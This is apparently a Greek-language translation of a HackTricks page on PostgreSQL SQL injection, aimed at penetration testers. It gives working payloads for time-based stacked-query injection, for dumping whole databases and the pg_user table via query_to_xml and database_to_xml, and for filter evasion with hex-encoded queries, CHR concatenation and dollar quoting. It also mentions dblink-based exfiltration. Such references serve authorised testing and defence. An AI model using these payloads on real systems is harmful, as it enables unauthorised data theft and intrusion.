PostgreSQL injection

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και να χακεύετε το αχακέυτο - σας προσλαμβάνουμε! (απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής).


Αυτή η σελίδα στοχεύει να εξηγήσει διαφορετικά κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια εισροή SQL που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Δικτυακή Αλληλεπίδραση - Ανόρθωση Προνομίων, Σαρωτής Θυρών, Αποκάλυψη Απάντησης Πρόκλησης NTLM & Εξυπράκτιση

Το module PostgreSQL dblink προσφέρει δυνατότητες για σύνδεση με άλλα περιστατικά PostgreSQL και εκτέλεση συνδέσεων TCP. Αυτές οι λειτουργίες, σε συνδυασμό με τη λειτουργικότητα COPY FROM, επιτρέπουν ενέργειες όπως ανόρθωση προνομίων, σάρωση θυρών και αιχμή απάντησης NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων ελέγξτε πώς να εκτελέσετε αυτές τις επιθέσεις.

Μπορείτε να διαβάσετε αυτό το παράδειγμα για να δείτε ένα παράδειγμα CTF πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξυπρακτίσετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη της λειτουργίας dblink_connect.

Επιθέσεις PostgreSQL: Ανάγνωση/εγγραφή, RCE, ανόρθωση προνομίων

Ελέγξτε πώς να διακινδυνεύσετε τον κεντρικό υπολογιστή και να αναβαθμίσετε προνόμια από το PostgreSQL σε:

page5432,5433 - Pentesting Postgresql

Παράκαμψη WAF

Συναρτήσεις Συμβολοσειράς PostgreSQL

Η διαχείριση συμβόλων μπορεί να σας βοηθήσει να παρακάμψετε τα WAFs ή άλλους περιορισμούς. Σε αυτήν τη σελίδα μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβόλων.

Στοίβα Ερωτημάτων

Θυμηθείτε ότι το postgresql υποστηρίζει στοίβα ερωτημάτων, αλλά πολλές εφαρμογές θα εμφανίσουν σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένουν μόνο 1. Ωστόσο, μπορείτε ακόμα να καταχρηστείτε τις στοιβαγμένες ερωτήσεις μέσω εισροής χρόνου:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Κόλπα XML

query_to_xml

Αυτή η συνάρτηση θα επιστρέψει όλα τα δεδομένα σε μορφή XML σε ένα μόνο αρχείο. Είναι ιδανικό αν θέλετε να αδειάσετε πολλά δεδομένα σε μόνο 1 σειρά:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Αυτή η συνάρτηση θα αδειάσει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 σειρά (να είστε προσεκτικοί αν η βάση δεδομένων είναι πολύ μεγάλη καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον ίδιο σας τον πελάτη):

SELECT database_to_xml(true,true,'');

Συμβολοσειρές σε Hex

Αν μπορείτε να εκτελέσετε ερωτήματα περνώντας τα μέσα από μια συμβολοσειρά (για παράδειγμα χρησιμοποιώντας τη λειτουργία query_to_xml). Μπορείτε να χρησιμοποιήσετε την convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Απαγορευμένα εισαγωγικά

Αν δεν μπορείτε να χρησιμοποιήσετε εισαγωγικά για το payload σας, μπορείτε να το παρακάμψετε χρησιμοποιώντας το CHR για βασικές δηλώσεις (η συνένωση χαρακτήρων λειτουργεί μόνο για βασικές ερωτήσεις όπως SELECT, INSERT, DELETE, κλπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ή με $. Αυτές οι ερωτήσεις επιστρέφουν τα ίδια αποτελέσματα:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Εάν ενδιαφέρεστε για καριέρα στο χάκινγκ και για να χακάρετε το αχακάρετο - προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).

Μάθετε χάκινγκ στο AWS από το μηδέν στον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated